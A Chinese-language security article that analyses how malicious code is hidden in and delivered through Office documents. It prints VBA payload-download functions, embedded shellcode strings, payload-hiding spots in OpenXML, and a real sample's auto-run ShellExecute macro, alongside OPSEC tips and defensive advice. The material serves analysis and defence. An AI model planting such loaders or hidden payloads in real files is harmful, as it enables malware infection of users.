传统Office结构下的后门和利用手段解析
字数 975 2025-08-22 12:23:06

Office文档恶意代码植入技术解析

前言

本文深入解析攻击者利用Office文档传递恶意代码的各种技术手段,包括分阶段和无阶段的实现方式,以及如何在OpenXML结构中隐藏恶意负载。这些技术虽然基础,但在实际攻击中仍被广泛使用。

典型payload传输策略

1. 从网络获取payload(分阶段)

优点:灵活可控,可随时更换payload
缺点:网络请求易被检测

实现方式:

Microsoft.XMLHTTP方法

Function obf_DownloadFromURL(ByVal obf_URL As String) As String
    On Error GoTo obf_ProcError
    With CreateObject("Microsoft.XMLHTTP")
        .Open "GET", obf_URL, False
        .setRequestHeader "User-Agent", "<<<USER_AGENT>>>"
        .setRequestHeader "Accept-Encoding", "gzip, deflate"
        .setRequestHeader "Cache-Control", "private, no-store, max-age=0"
        .Send
        If .Status = 200 Then
            obf_DownloadFromURL = StrConv(.ResponseBody, vbUnicode)
            Exit Function
        End If
    End With
obf_ProcError:
    obf_DownloadFromURL = ""
End Function

InternetExplorer.Application方法

Function obf_DownloadFromURL(ByVal obf_URL As String) As String
    On Error GoTo obf_ProcError
    With CreateObject("InternetExplorer.Application")
        .Visible = False
        .Navigate obf_URL
        While .ReadyState <> 4 Or .Busy
            DoEvents
        Wend
        obf_DownloadFromURL = StrConv(.ie.Document.Body.innerText, vbUnicode)
        Exit Function
    End With
obf_ProcError:
    obf_DownloadFromURL = ""
End Function

2. 直接在VBA中嵌入恶意数据(无阶段)

实现方式

Private Function obf_ShellcodeFunc81() As String
    Dim obf_ShellcodeVar80 As String
    obf_ShellcodeVar80 = obf_ShellcodeVar80 & "800EK+3YvPe6wFO6tCVI91lg2Bi3ae8DNtlWbCczAi+XnmipCn3kRpi2js7bNntB0TC/qn2WiYP275Z9"
    obf_ShellcodeVar80 = obf_ShellcodeVar80 & "HVkgI4GH7dOACixe7W5qjTL8HIzH6mYubKWDgvlbe72MfmkGUJKquPm+Ap5bRxceDpUag64Z3HccyfYM"
    '...更多拼接代码...
    obf_ShellcodeFunc81 = obf_ShellcodeVar80
End Function

VBA限制

  • 单行代码不超过128个字符
  • 单个函数/子例程不超过128行

缺点:代码特征明显,易被检测

文档结构中隐藏payload的技术

1. 文档属性隐藏

位置docProps/core.xmldocProps/app.xml

示例

<dc:subject>calc.exe</dc:subject>
<dc:creator>test</dc:creator>

OPSEC注意事项

  • 清除core.xml和app.xml中的元数据
  • 避免留下制作者信息

2. Office表单控件隐藏

实现方式

  • 将payload存储在表单控件中
  • 执行时动态提取

检测:工具如olevba可轻易识别

3. ActiveDocument段落和工作表隐藏

Word实现

' 遍历段落提取payload
For Each para In ActiveDocument.Paragraphs
    ' 处理文本范围
Next

Excel实现

ThisWorkbook.Sheets("Sheet1").Range("A1") = "evil"

XML结构

<w:t>7E69A3333033333337333333CCCC33338B33333333333333733333333333333333333333333333333333333333333333333333333333333333333333B33333333D2C893D33873AFE128B327FFE12675B5A401343415C5441525E1350525D5D5C471351561341465D135A5D13777C60135E5C57561D3E3E391733333333333333637633337F323133DB8A40643333333333333333D3333C323832310133CD3333337D333333333333FCCC33333323333333233233333373333323333333313333373333333333333337333333333333333353323333313333342D3133313333333333233333233333333323333323333333333333233333333333333333333333837E323387333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333</w:t>

4. Word变量隐藏

实现方式

' 存储变量
ActiveDocument.Variables.Add Name:="varName", Value:="payload"

' 读取变量
Function obf_GetWordVariable(ByVal obf_name) As String
    On Error GoTo obf_ProcError
    obf_GetWordVariable = ActiveDocument.Variables(obf_name).Value
obf_ProcError:
    obf_GetWordVariable = ""
End Function

XML结构

<w:docVars>
    <w:docVar w:name="varName" w:val="......" />
</w:docVars>

实际样本分析

样本哈希:b1df072eba923c472e461200b35823fde7f8e640bfb468ff5ac707369a2fa35e

攻击流程

  1. XLSB文件包含恶意宏代码
  2. 从工作表单元格获取payload
  3. 拼接字符串并执行Shell命令
  4. 下载第二阶段payload(伪装为JPG)
  5. 解码执行第三阶段payload
  6. 最终与C2服务器通信

关键代码

Private Sub Workbook_Open()
    Dim g5 As String, g6 As String
    g5 = Cells(2, 7)
    g6 = Cells(3, 7)
    lyDdMyWVp = wJmdrV(g5, g6)
End Sub

Function wJmdrV(eeeew As String, ifgkdfg As String)
    Dim DGjG() As Variant
    ReDim DGjG(4)
    DGjG(0) = "p" + ifgkdfg
    DGjG(1) = "ping google.com;" + eeeew
    '...其他参数...
    Set sSVno = CreateObject("Shell.Application")
    zsEd = CallByName(sSVno, "ShellExecute", VbMethod, DGjG(0), DGjG(1), DGjG(2), DGjG(3), DGjG(4))
End Function

防御建议

  1. 禁用Office宏执行
  2. 使用高级威胁防护工具检测异常文档行为
  3. 定期检查文档元数据和隐藏内容
  4. 对下载的Office文档实施沙箱分析
  5. 培训用户识别可疑文档特征

总结

本文详细解析了Office文档中隐藏和传递恶意代码的多种技术,包括网络下载、VBA嵌入以及利用文档结构隐藏payload的方法。虽然这些技术大多已被安全工具检测,但理解其原理对于防御新型变种攻击至关重要。

Office文档恶意代码植入技术解析 前言 本文深入解析攻击者利用Office文档传递恶意代码的各种技术手段,包括分阶段和无阶段的实现方式,以及如何在OpenXML结构中隐藏恶意负载。这些技术虽然基础,但在实际攻击中仍被广泛使用。 典型payload传输策略 1. 从网络获取payload(分阶段) 优点 :灵活可控,可随时更换payload 缺点 :网络请求易被检测 实现方式: Microsoft.XMLHTTP方法 : InternetExplorer.Application方法 : 2. 直接在VBA中嵌入恶意数据(无阶段) 实现方式 : VBA限制 : 单行代码不超过128个字符 单个函数/子例程不超过128行 缺点 :代码特征明显,易被检测 文档结构中隐藏payload的技术 1. 文档属性隐藏 位置 : docProps/core.xml 和 docProps/app.xml 示例 : OPSEC注意事项 : 清除core.xml和app.xml中的元数据 避免留下制作者信息 2. Office表单控件隐藏 实现方式 : 将payload存储在表单控件中 执行时动态提取 检测 :工具如olevba可轻易识别 3. ActiveDocument段落和工作表隐藏 Word实现 : Excel实现 : XML结构 : 4. Word变量隐藏 实现方式 : XML结构 : 实际样本分析 样本哈希 :b1df072eba923c472e461200b35823fde7f8e640bfb468ff5ac707369a2fa35e 攻击流程 : XLSB文件包含恶意宏代码 从工作表单元格获取payload 拼接字符串并执行Shell命令 下载第二阶段payload(伪装为JPG) 解码执行第三阶段payload 最终与C2服务器通信 关键代码 : 防御建议 禁用Office宏执行 使用高级威胁防护工具检测异常文档行为 定期检查文档元数据和隐藏内容 对下载的Office文档实施沙箱分析 培训用户识别可疑文档特征 总结 本文详细解析了Office文档中隐藏和传递恶意代码的多种技术,包括网络下载、VBA嵌入以及利用文档结构隐藏payload的方法。虽然这些技术大多已被安全工具检测,但理解其原理对于防御新型变种攻击至关重要。